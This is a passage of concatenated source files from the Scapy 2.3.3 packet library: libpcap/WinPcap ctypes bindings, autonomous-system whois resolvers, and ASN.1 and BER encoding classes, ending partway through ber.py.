pcap_file=_lib.pcap_file pcap_file.restype = FILE pcap_file.argtypes = [POINTER(pcap_t)] #int pcap_stats (pcap_t *p, struct pcap_stat *ps) # Return statistics on current capture. pcap_stats = _lib.pcap_stats pcap_stats.restype = c_int pcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)] #void pcap_perror (pcap_t *p, char *prefix) # print the text of the last pcap library error on stderr, prefixed by prefix. pcap_perror = _lib.pcap_perror pcap_perror.restype = None pcap_perror.argtypes = [POINTER(pcap_t), STRING] #char * pcap_geterr (pcap_t *p) # return the error text pertaining to the last pcap library error. pcap_geterr = _lib.pcap_geterr pcap_geterr.restype = STRING pcap_geterr.argtypes = [POINTER(pcap_t)] #char * pcap_strerror (int error) # Provided in case strerror() isn't available. pcap_strerror = _lib.pcap_strerror pcap_strerror.restype = STRING pcap_strerror.argtypes = [c_int] #const char * pcap_lib_version (void) # Returns a pointer to a string giving information about the version of the libpcap library being used; note that it contains more information than just a version number. pcap_lib_version = _lib.pcap_lib_version pcap_lib_version.restype = STRING pcap_lib_version.argtypes = [] #void pcap_close (pcap_t *p) # close the files associated with p and deallocates resources. pcap_close = _lib.pcap_close pcap_close.restype = None pcap_close.argtypes = [POINTER(pcap_t)] #FILE * pcap_dump_file (pcap_dumper_t *p) # return the standard I/O stream of the 'savefile' opened by pcap_dump_open(). pcap_dump_file=_lib.pcap_dump_file pcap_dump_file.restype=FILE pcap_dump_file.argtypes= [POINTER(pcap_dumper_t)] #int pcap_dump_flush (pcap_dumper_t *p) # Flushes the output buffer to the ``savefile,'' so that any packets written with pcap_dump() but not yet written to the ``savefile'' will be written. -1 is returned on error, 0 on success. pcap_dump_flush = _lib.pcap_dump_flush pcap_dump_flush.restype = c_int pcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)] #void pcap_dump_close (pcap_dumper_t *p) # Closes a savefile. pcap_dump_close = _lib.pcap_dump_close pcap_dump_close.restype = None pcap_dump_close.argtypes = [POINTER(pcap_dumper_t)] if not WIN32: pcap_get_selectable_fd = _lib.pcap_get_selectable_fd pcap_get_selectable_fd.restype = c_int pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)] ########################################### ## Windows-specific Extensions ## The functions in this section extend libpcap to offer advanced functionalities ## (like remote packet capture, packet buffer size variation or high-precision packet injection). ## Howerver, at the moment they can be used only in Windows. ########################################### if WIN32: HANDLE = c_void_p ############## ## Identifiers related to the new source syntax ############## #define PCAP_SRC_FILE 2 #define PCAP_SRC_IFLOCAL 3 #define PCAP_SRC_IFREMOTE 4 #Internal representation of the type of source in use (file, remote/local interface). PCAP_SRC_FILE = 2 PCAP_SRC_IFLOCAL = 3 PCAP_SRC_IFREMOTE = 4 ############## ## Strings related to the new source syntax ############## #define PCAP_SRC_FILE_STRING "file://" #define PCAP_SRC_IF_STRING "rpcap://" #String that will be used to determine the type of source in use (file, remote/local interface). PCAP_SRC_FILE_STRING="file://" PCAP_SRC_IF_STRING="rpcap://" ############## ## Flags defined in the pcap_open() function ############## # define PCAP_OPENFLAG_PROMISCUOUS 1 # Defines if the adapter has to go in promiscuous mode. PCAP_OPENFLAG_PROMISCUOUS=1 # define PCAP_OPENFLAG_DATATX_UDP 2 # Defines if the data trasfer (in case of a remote capture) has to be done with UDP protocol. PCAP_OPENFLAG_DATATX_UDP=2 # define PCAP_OPENFLAG_NOCAPTURE_RPCAP 4 PCAP_OPENFLAG_NOCAPTURE_RPCAP=4 # Defines if the remote probe will capture its own generated traffic. # define PCAP_OPENFLAG_NOCAPTURE_LOCAL 8 PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8 # define PCAP_OPENFLAG_MAX_RESPONSIVENESS 16 # This flag configures the adapter for maximum responsiveness. PCAP_OPENFLAG_MAX_RESPONSIVENESS=16 ############## ## Sampling methods defined in the pcap_setsampling() function ############## # define PCAP_SAMP_NOSAMP 0 # No sampling has to be done on the current capture. PCAP_SAMP_NOSAMP=0 # define PCAP_SAMP_1_EVERY_N 1 # It defines that only 1 out of N packets must be returned to the user. PCAP_SAMP_1_EVERY_N=1 #define PCAP_SAMP_FIRST_AFTER_N_MS 2 # It defines that we have to return 1 packet every N milliseconds. PCAP_SAMP_FIRST_AFTER_N_MS=2 ############## ## Authentication methods supported by the RPCAP protocol ############## # define RPCAP_RMTAUTH_NULL 0 # It defines the NULL authentication. RPCAP_RMTAUTH_NULL=0 # define RPCAP_RMTAUTH_PWD 1 # It defines the username/password authentication. RPCAP_RMTAUTH_PWD=1 ############## ## Remote struct and defines ############## # define PCAP_BUF_SIZE 1024 # Defines the maximum buffer size in which address, port, interface names are kept. PCAP_BUF_SIZE = 1024 # define RPCAP_HOSTLIST_SIZE 1024 # Maximum lenght of an host name (needed for the RPCAP active mode). RPCAP_HOSTLIST_SIZE = 1024 class pcap_send_queue(Structure): _fields_=[("maxlen",c_uint), ("len",c_uint), ("buffer",c_char_p)] ## struct pcap_rmtauth ## This structure keeps the information needed to autheticate the user on a remote machine class pcap_rmtauth(Structure): _fields_=[("type",c_int), ("username",c_char_p), ("password",c_char_p)] ## struct pcap_samp ## This structure defines the information related to sampling class pcap_samp(Structure): _fields_=[("method",c_int), ("value",c_int)] #PAirpcapHandle pcap_get_airpcap_handle (pcap_t *p) # Returns the AirPcap handler associated with an adapter. This handler can be used to change the wireless-related settings of the CACE Technologies AirPcap wireless capture adapters. #bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data) # Returns if a given filter applies to an offline packet. pcap_offline_filter = _lib.pcap_offline_filter pcap_offline_filter.restype = c_bool pcap_offline_filter.argtypes = [POINTER(bpf_program),POINTER(pcap_pkthdr),POINTER(u_char)] #int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks) # Save a capture to file. pcap_live_dump = _lib.pcap_live_dump pcap_live_dump.restype = c_int pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int,c_int] #int pcap_live_dump_ended (pcap_t *p, int sync) # Return the status of the kernel dump process, i.e. tells if one of the limits defined with pcap_live_dump() has been reached. pcap_live_dump_ended = _lib.pcap_live_dump_ended pcap_live_dump_ended.restype = c_int pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int] #struct pcap_stat * pcap_stats_ex (pcap_t *p, int *pcap_stat_size) # Return statistics on current capture. pcap_stats_ex = _lib.pcap_stats_ex pcap_stats_ex.restype = POINTER(pcap_stat) pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)] #int pcap_setbuff (pcap_t *p, int dim) # Set the size of the kernel buffer associated with an adapter. pcap_setbuff = _lib.pcap_setbuff pcap_setbuff.restype = c_int pcap_setbuff.argtypes = [POINTER(pcap_t), c_int] #int pcap_setmode (pcap_t *p, int mode) # Set the working mode of the interface p to mode. pcap_setmode = _lib.pcap_setmode pcap_setmode.restype = c_int pcap_setmode.argtypes = [POINTER(pcap_t), c_int] #int pcap_setmintocopy (pcap_t *p, int size) # Set the minumum amount of data received by the kernel in a single call. pcap_setmintocopy = _lib.pcap_setmintocopy pcap_setmintocopy.restype = c_int pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int] #HANDLE pcap_getevent (pcap_t *p) # Return the handle of the event associated with the interface p. pcap_getevent = _lib.pcap_getevent pcap_getevent.restype = HANDLE pcap_getevent.argtypes = [POINTER(pcap_t)] #pcap_send_queue * pcap_sendqueue_alloc (u_int memsize) # Allocate a send queue. pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue) pcap_sendqueue_alloc.argtypes = [c_uint] #void pcap_sendqueue_destroy (pcap_send_queue *queue) # Destroy a send queue. pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy pcap_sendqueue_destroy.restype = None pcap_sendqueue_destroy.argtypes = [POINTER(pcap_send_queue)] #int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Add a packet to a send queue. pcap_sendqueue_queue = _lib.pcap_sendqueue_queue pcap_sendqueue_queue.restype = c_int pcap_sendqueue_queue.argtypes = [POINTER(pcap_send_queue), POINTER(pcap_pkthdr), POINTER(u_char)] #u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync) # Send a queue of raw packets to the network. pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit pcap_sendqueue_transmit.retype = u_int pcap_sendqueue_transmit.argtypes = [POINTER(pcap_t), POINTER(pcap_send_queue), c_int] #int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf) # Create a list of network devices that can be opened with pcap_open(). pcap_findalldevs_ex = _lib.pcap_findalldevs_ex pcap_findalldevs_ex.retype = c_int pcap_findalldevs_ex.argtypes = [STRING, POINTER(pcap_rmtauth), POINTER(POINTER(pcap_if_t)), STRING] #int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf) # Accept a set of strings (host name, port, ...), and it returns the complete source string according to the new format (e.g. 'rpcap://1.2.3.4/eth0'). pcap_createsrcstr = _lib.pcap_createsrcstr pcap_createsrcstr.restype = c_int pcap_createsrcstr.argtypes = [STRING, c_int, STRING, STRING, STRING, STRING] #int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf) # Parse the source string and returns the pieces in which the source can be split. pcap_parsesrcstr = _lib.pcap_parsesrcstr pcap_parsesrcstr.retype = c_int pcap_parsesrcstr.argtypes = [STRING, POINTER(c_int), STRING, STRING, STRING, STRING] #pcap_t * pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf) # Open a generic source in order to capture / send (WinPcap only) traffic. pcap_open = _lib.pcap_open pcap_open.restype = POINTER(pcap_t) pcap_open.argtypes = [STRING, c_int, c_int, c_int, POINTER(pcap_rmtauth), STRING] #struct pcap_samp * pcap_setsampling (pcap_t *p) # Define a sampling method for packet capture. pcap_setsampling = _lib.pcap_setsampling pcap_setsampling.restype = POINTER(pcap_samp) pcap_setsampling.argtypes = [POINTER(pcap_t)] #SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf) # Block until a network connection is accepted (active mode only). pcap_remoteact_accept = _lib.pcap_remoteact_accept pcap_remoteact_accept.restype = SOCKET pcap_remoteact_accept.argtypes = [STRING, STRING, STRING, STRING, POINTER(pcap_rmtauth), STRING] #int pcap_remoteact_close (const char *host, char *errbuf) # Drop an active connection (active mode only). pcap_remoteact_close = _lib.pcap_remoteact_close pcap_remoteact_close.restypes = c_int pcap_remoteact_close.argtypes = [STRING, STRING] #void pcap_remoteact_cleanup () # Clean the socket that is currently used in waiting active connections. pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup pcap_remoteact_cleanup.restypes = None pcap_remoteact_cleanup.argtypes = [] #int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf) # Return the hostname of the host that have an active connection with us (active mode only). pcap_remoteact_list = _lib.pcap_remoteact_list pcap_remoteact_list.restype = c_int pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING] scapy-2.3.3/scapy/as_resolvers.py000066400000000000000000000062671300136037300170450ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Resolve Autonomous Systems (AS). """ import socket from scapy.config import conf class AS_resolver: server = None options = "-k" def __init__(self, server=None, port=43, options=None): if server is not None: self.server = server self.port = port if options is not None: self.options = options def _start(self): self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.server,self.port)) if self.options: self.s.send(self.options+"\n") self.s.recv(8192) def _stop(self): self.s.close() def _parse_whois(self, txt): asn,desc = None,"" for l in txt.splitlines(): if not asn and l.startswith("origin:"): asn = l[7:].strip() if l.startswith("descr:"): if desc: desc += r"\n" desc += l[6:].strip() if asn is not None and desc: break return asn,desc.strip() def _resolve_one(self, ip): self.s.send("%s\n" % ip) x = "" while not ("%" in x or "source" in x): x += self.s.recv(8192) asn, desc = self._parse_whois(x) return ip,asn,desc def resolve(self, *ips): self._start() ret = [] for ip in ips: ip,asn,desc = self._resolve_one(ip) if asn is not None: ret.append((ip,asn,desc)) self._stop() return ret class AS_resolver_riswhois(AS_resolver): server = "riswhois.ripe.net" options = "-k -M -1" class AS_resolver_radb(AS_resolver): server = "whois.ra.net" options = "-k -M" class AS_resolver_cymru(AS_resolver): server = "whois.cymru.com" options = None def resolve(self, *ips): ASNlist = [] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.server,self.port)) s.send("begin\r\n"+"\r\n".join(ips)+"\r\nend\r\n") r = "" while 1: l = s.recv(8192) if l == "": break r += l s.close() for l in r.splitlines()[1:]: if "|" not in l: continue asn,ip,desc = map(str.strip, l.split("|")) if asn == "NA": continue asn = int(asn) ASNlist.append((ip,asn,desc)) return ASNlist class AS_resolver_multi(AS_resolver): resolvers_list = ( AS_resolver_cymru(),AS_resolver_riswhois(),AS_resolver_radb() ) def __init__(self, *reslist): if reslist: self.resolvers_list = reslist def resolve(self, *ips): todo = ips ret = [] for ASres in self.resolvers_list: res = ASres.resolve(*todo) resolved = [ ip for ip,asn,desc in res ] todo = [ ip for ip in todo if ip not in resolved ] ret += res return ret conf.AS_resolver = AS_resolver_multi() scapy-2.3.3/scapy/asn1/000077500000000000000000000000001300136037300146135ustar00rootroot00000000000000scapy-2.3.3/scapy/asn1/__init__.py000066400000000000000000000006001300136037300167200ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package holding ASN.1 related modules. """ # We do not import mib.py because it is more bound to scapy and # less prone to be used in a standalone fashion __all__ = ["asn1","ber"] scapy-2.3.3/scapy/asn1/asn1.py000066400000000000000000000276631300136037300160450ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Modified by Maxence Tury ## This program is published under a GPLv2 license """ ASN.1 (Abstract Syntax Notation One) """ import random from datetime import datetime from scapy.config import conf from scapy.error import Scapy_Exception, warning from scapy.volatile import RandField, RandIP from scapy.utils import Enum_metaclass, EnumElement, binrepr class RandASN1Object(RandField): def __init__(self, objlist=None): self.objlist = [ x._asn1_obj for x in ASN1_Class_UNIVERSAL.__rdict__.itervalues() if hasattr(x, "_asn1_obj") ] if objlist is None else objlist self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" def _fix(self, n=0): o = random.choice(self.objlist) if issubclass(o, ASN1_INTEGER): return o(int(random.gauss(0,1000))) elif issubclass(o, ASN1_IPADDRESS): z = RandIP()._fix() return o(z) elif issubclass(o, ASN1_STRING): z = int(random.expovariate(0.05)+1) return o("".join(random.choice(self.chars) for _ in xrange(z))) elif issubclass(o, ASN1_SEQUENCE) and (n < 10): z = int(random.expovariate(0.08)+1) return o([self.__class__(objlist=self.objlist)._fix(n + 1) for _ in xrange(z)]) return ASN1_INTEGER(int(random.gauss(0,1000))) ############## #### ASN1 #### ############## class ASN1_Error(Scapy_Exception): pass class ASN1_Encoding_Error(ASN1_Error): pass class ASN1_Decoding_Error(ASN1_Error): pass class ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error): pass class ASN1Codec(EnumElement): def register_stem(cls, stem): cls._stem = stem def dec(cls, s, context=None): return cls._stem.dec(s, context=context) def safedec(cls, s, context=None): return cls._stem.safedec(s, context=context) def get_stem(cls): return cls.stem class ASN1_Codecs_metaclass(Enum_metaclass): element_class = ASN1Codec class ASN1_Codecs: __metaclass__ = ASN1_Codecs_metaclass BER = 1 DER = 2 PER = 3 CER = 4 LWER = 5 BACnet = 6 OER = 7 SER = 8 XER = 9 class ASN1Tag(EnumElement): def __init__(self, key, value, context=None, codec=None): EnumElement.__init__(self, key, value) self._context = context if codec == None: codec = {} self._codec = codec def clone(self): # /!\ not a real deep copy. self.codec is shared return self.__class__(self._key, self._value, self._context, self._codec) def register_asn1_object(self, asn1obj): self._asn1_obj = asn1obj def asn1_object(self, val): if hasattr(self,"_asn1_obj"): return self._asn1_obj(val) raise ASN1_Error("%r does not have any assigned ASN1 object" % self) def register(self, codecnum, codec): self._codec[codecnum] = codec def get_codec(self, codec): try: c = self._codec[codec] except KeyError,msg: raise ASN1_Error("Codec %r not found for tag %r" % (codec, self)) return c class ASN1_Class_metaclass(Enum_metaclass): element_class = ASN1Tag def __new__(cls, name, bases, dct): # XXX factorise a bit with Enum_metaclass.__new__() for b in bases: for k,v in b.__dict__.iteritems(): if k not in dct and isinstance(v,ASN1Tag): dct[k] = v.clone() rdict = {} for k,v in dct.iteritems(): if type(v) is int: v = ASN1Tag(k,v) dct[k] = v rdict[v] = v elif isinstance(v, ASN1Tag): rdict[v] = v dct["__rdict__"] = rdict cls = type.__new__(cls, name, bases, dct) for v in cls.__dict__.values(): if isinstance(v, ASN1Tag): v.context = cls # overwrite ASN1Tag contexts, even cloned ones return cls class ASN1_Class: __metaclass__ = ASN1_Class_metaclass class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" ERROR = -3 RAW = -2 NONE = -1 ANY = 0 BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 STRING = 4 NULL = 5 OID = 6 OBJECT_DESCRIPTOR = 7 EXTERNAL = 8 REAL = 9 ENUMERATED = 10 EMBEDDED_PDF = 11 UTF8_STRING = 12 RELATIVE_OID = 13 SEQUENCE = 16|0x20 # constructed encoding SET = 17|0x20 # constructed encoding NUMERIC_STRING = 18 PRINTABLE_STRING = 19 T61_STRING = 20 # aka TELETEX_STRING VIDEOTEX_STRING = 21 IA5_STRING = 22 UTC_TIME = 23 GENERALIZED_TIME = 24 GRAPHIC_STRING = 25 ISO646_STRING = 26 # aka VISIBLE_STRING GENERAL_STRING = 27 UNIVERSAL_STRING = 28 CHAR_STRING = 29 BMP_STRING = 30 IPADDRESS = 0|0x40 # application-specific encoding COUNTER32 = 1|0x40 # application-specific encoding TIME_TICKS = 3|0x40 # application-specific encoding class ASN1_Object_metaclass(type): def __new__(cls, name, bases, dct): c = super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register_asn1_object(c) except: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class ASN1_Object: __metaclass__ = ASN1_Object_metaclass tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, val): self.val = val def enc(self, codec): return self.tag.get_codec(codec).enc(self.val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.val) def __str__(self): return self.enc(conf.ASN1_default_codec) def strshow(self, lvl=0): return (" "*lvl)+repr(self)+"\n" def show(self, lvl=0): print self.strshow(lvl) def __eq__(self, other): return self.val == other def __cmp__(self, other): return cmp(self.val, other) ####################### #### ASN1 objects #### ####################### # on the whole, we order the classes by ASN1_Class_UNIVERSAL tag value class ASN1_DECODING_ERROR(ASN1_Object): tag = ASN1_Class_UNIVERSAL.ERROR def __init__(self, val, exc=None): ASN1_Object.__init__(self, val) self.exc = exc def __repr__(self): return "<%s[%r]{{%s}}>" % (self.__dict__.get("name", self.__class__.__name__), self.val, self.exc.args[0]) def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_force(ASN1_Object): tag = ASN1_Class_UNIVERSAL.RAW def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_BADTAG(ASN1_force): pass class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER def __repr__(self): h = hex(self.val) if h[-1] == "L": h = h[:-1] # cut at 22 because with leading '0x', x509 serials should be < 23 if len(h) > 22: h = h[:12] + "..." + h[-10:] r = repr(self.val) if len(r) > 20: r = r[:10] + "..." + r[-10:] return h + " <%s[%s]>" % (self.__dict__.get("name", self.__class__.__name__), r) class ASN1_BOOLEAN(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN # BER: 0 means False, anything else means True def __repr__(self): return str((not (self.val==0))) + " " + ASN1_Object.__repr__(self) class ASN1_BIT_STRING(ASN1_Object): """ /!\ ASN1_BIT_STRING values are bit strings like "011101". /!\ A zero-bit padded readable string is provided nonetheless, /!\ which is also output when __str__ is called. """ tag = ASN1_Class_UNIVERSAL.BIT_STRING def __init__(self, val, readable=False): if readable: self.val_readable = val val = "".join(binrepr(ord(x)).zfill(8) for x in val) self.unused_bits = 0 else: if len(val) % 8 == 0: self.unused_bits = 0 else: self.unused_bits = 8 - len(val)%8 padded_val = val + "0"*self.unused_bits bytes_arr = zip(*[iter(padded_val)]*8) self.val_readable = "".join(chr(int("".join(x),2)) for x in bytes_arr) ASN1_Object.__init__(self, val) def __repr__(self): if len(self.val) <= 16: return "<%s[%r] (%d unused bit%s)>" % (self.__dict__.get("name", self.__class__.__name__), self.val, self.unused_bits, "s" if self.unused_bits>1 else "") else: s = self.val_readable if len(s) > 20: s = s[:10] + "..." + s[-10:] return "<%s[%r] (%d unused bit%s)>" % (self.__dict__.get("name", self.__class__.__name__), s, self.unused_bits, "s" if self.unused_bits>1 else "") def __str__(self): return self.val_readable class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_NULL(ASN1_Object): tag = ASN1_Class_UNIVERSAL.NULL def __repr__(self): return ASN1_Object.__repr__(self) class ASN1_OID(ASN1_Object): tag = ASN1_Class_UNIVERSAL.OID def __init__(self, val): val = conf.mib._oid(val) ASN1_Object.__init__(self, val) self.oidname = conf.mib._oidname(val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.oidname) class ASN1_ENUMERATED(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1_UTF8_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UTF8_STRING class ASN1_NUMERIC_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class ASN1_PRINTABLE_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1_T61_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1_VIDEOTEX_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class ASN1_IA5_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1_UTC_TIME(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME def __init__(self, val): pretty_time = "" if len(val) == 13 and val[-1] == "Z": dt = datetime.strptime(val[:-1], "%y%m%d%H%M%S") pretty_time = dt.strftime("%b %d %H:%M:%S %Y GMT") self.pretty_time = pretty_time ASN1_STRING.__init__(self, val) def __repr__(self): return self.pretty_time + " " + ASN1_STRING.__repr__(self) class ASN1_GENERALIZED_TIME(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME def __init__(self, val): pretty_time = "" if len(val) == 15 and val[-1] == "Z": dt = datetime.strptime(val[:-1], "%Y%m%d%H%M%S") pretty_time = dt.strftime("%b %d %H:%M:%S %Y GMT") self.pretty_time = pretty_time ASN1_STRING.__init__(self, val) def __repr__(self): return self.pretty_time + " " + ASN1_STRING.__repr__(self) class ASN1_ISO646_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.ISO646_STRING class ASN1_UNIVERSAL_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class ASN1_BMP_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BMP_STRING class ASN1_SEQUENCE(ASN1_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE def strshow(self, lvl=0): s = (" "*lvl)+("# %s:" % self.__class__.__name__)+"\n" for o in self.val: s += o.strshow(lvl=lvl+1) return s class ASN1_SET(ASN1_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class ASN1_IPADDRESS(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1_COUNTER32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class ASN1_TIME_TICKS(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS conf.ASN1_default_codec = ASN1_Codecs.BER scapy-2.3.3/scapy/asn1/ber.py000066400000000000000000000362401300136037300157420ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Modified by Maxence Tury ## Acknowledgment: Ralph Broenink ## This program is published under a GPLv2 license """ Basic Encoding Rules (BER) for ASN.1 """ from scapy.error import warning from scapy.utils import binrepr,inet_aton,inet_ntoa from scapy.asn1.asn1 import ASN1_Decoding_Error,ASN1_Encoding_Error,ASN1_BadTag_Decoding_Error,ASN1_Codecs,ASN1_Class_UNIVERSAL,ASN1_Error,ASN1_DECODING_ERROR,ASN1_BADTAG ################## ## BER encoding ## ################## #####[ BER tools ]##### class BER_Exception(Exception): pass class BER_Encoding_Error(ASN1_Encoding_Error): def __init__(self, msg, encoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.encoded = encoded def __str__(self): s = Exception.__str__(self) if isinstance(self.encoded, BERcodec_Object): s+="\n### Already encoded ###\n%s" % self.encoded.strshow() else: s+="\n### Already encoded ###\n%r" % self.encoded s+="\n### Remaining ###\n%r" % self.remaining return s class BER_Decoding_Error(ASN1_Decoding_Error): def __init__(self, msg, decoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.decoded = decoded def __str__(self): s = Exception.__str__(self) if isinstance(self.decoded, BERcodec_Object): s+="\n### Already decoded ###\n%s" % self.decoded.strshow() else: s+="\n### Already decoded ###\n%r" % self.decoded s+="\n### Remaining ###\n%r" % self.remaining return s class BER_BadTag_Decoding_Error(BER_Decoding_Error, ASN1_BadTag_Decoding_Error): pass def BER_len_enc(l, size=0): if l <= 127 and size==0: return chr(l) s = "" while l or size>0: s = chr(l&0xff)+s l >>= 8L size -= 1 if len(s) > 127: raise BER_Exception("BER_len_enc: Length too long (%i) to be encoded [%r]" % (len(s),s)) return chr(len(s)|0x80)+s def BER_len_dec(s): l = ord(s[0]) if not l & 0x80: return l,s[1:] l &= 0x7f if len(s) <= l: raise BER_Decoding_Error("BER_len_dec: Got %i bytes while expecting %i" % (len(s)-1, l),remaining=s) ll = 0L for c in s[1:l+1]: ll <<= 8L ll |= ord(c) return ll,s[l+1:] def BER_num_enc(l, size=1): x=[] while l or size>0: x.insert(0, l & 0x7f) if len(x) > 1: x[0] |= 0x80 l >>= 7 size -= 1 return "".join([chr(k) for k in x]) def BER_num_dec(s, cls_id=0): x = cls_id for i, c in enumerate(s): c = ord(c) x <<= 7 x |= c&0x7f if not c&0x80: break if c&0x80: raise BER_Decoding_Error("BER_num_dec: unfinished number description", remaining=s) return x, s[i+1:] def BER_id_dec(s): # This returns the tag ALONG WITH THE PADDED CLASS+CONSTRUCTIVE INFO. # Let's recall that bits 8-7 from the first byte of the tag encode # the class information, while bit 6 means primitive or constructive. # For instance, with low-tag-number '\x81', class would be 0b10 # ('context-specific') and tag 0x01, but we return 0x81 as a whole. # For '\xff\x02', class would be 0b11 ('private'), constructed, then # padding, then tag 0x02, but we return (0xff>>5)*128^1 + 0x02*128^0. # Why the 5-bit-shifting? Because it provides an unequivocal encoding # on base 128 (note that 0xff would equal 1*128^1 + 127*128^0...), # as we know that bits 5 to 1 are fixed to 1 anyway. # As long as there is no class differentiation, we have to keep this info # encoded in scapy's tag in order to reuse it for packet building. # Note that tags thus may have to be hard-coded with their extended # information, e.g. a SEQUENCE from asn1.py has a direct tag 0x20|16. x = ord(s[0]) if x & 0x1f != 0x1f: # low-tag-number return x,s[1:] else: # high-tag-number return BER_num_dec(s[1:], cls_id=x>>5) def BER_id_enc(n): if n < 256: # low-tag-number return chr(n) else: # high-tag-number s = BER_num_enc(n) tag = ord(s[0]) # first byte, as an int tag &= 0x07 # reset every bit from 8 to 4 tag <<= 5 # move back the info bits on top tag |= 0x1f # pad with 1s every bit from 5 to 1 return chr(tag) + s[1:] # The functions below provide implicit and explicit tagging support. def BER_tagging_dec(s, hidden_tag=None, implicit_tag=None, explicit_tag=None, safe=False): # We output the 'real_tag' if it is different from the (im|ex)plicit_tag. real_tag = None if len(s) > 0: err_msg = "BER_tagging_dec: observed tag does not match expected tag" if implicit_tag is not None: ber_id,s = BER_id_dec(s) if ber_id != implicit_tag: if not safe: raise BER_Decoding_Error(err_msg, remaining=s) else: real_tag = ber_id s = chr(hidden_tag) + s elif explicit_tag is not None: ber_id,s = BER_id_dec(s) if ber_id != explicit_tag: if not safe: raise BER_Decoding_Error(err_msg, remaining=s) else: real_tag = ber_id l,s = BER_len_dec(s) return real_tag, s def BER_tagging_enc(s, implicit_tag=None, explicit_tag=None): if len(s) > 0: if implicit_tag is not None: s = BER_id_enc(implicit_tag) + s[1:] elif explicit_tag is not None: s = BER_id_enc(explicit_tag) + BER_len_enc(len(s)) + s return s #####[ BER classes ]##### class BERcodec_metaclass(type): def __new__(cls, name, bases, dct): c = super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register(c.codec, c) except: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class BERcodec_Object: __metaclass__ = BERcodec_metaclass codec = ASN1_Codecs.BER tag = ASN1_Class_UNIVERSAL.ANY @classmethod def asn1_object(cls, val): return cls.tag.asn1_object(val) @classmethod def check_string(cls, s): if not s: raise BER_Decoding_Error("%s: Got empty object while expecting tag %r" % (cls.__name__,cls.tag), remaining=s) @classmethod def 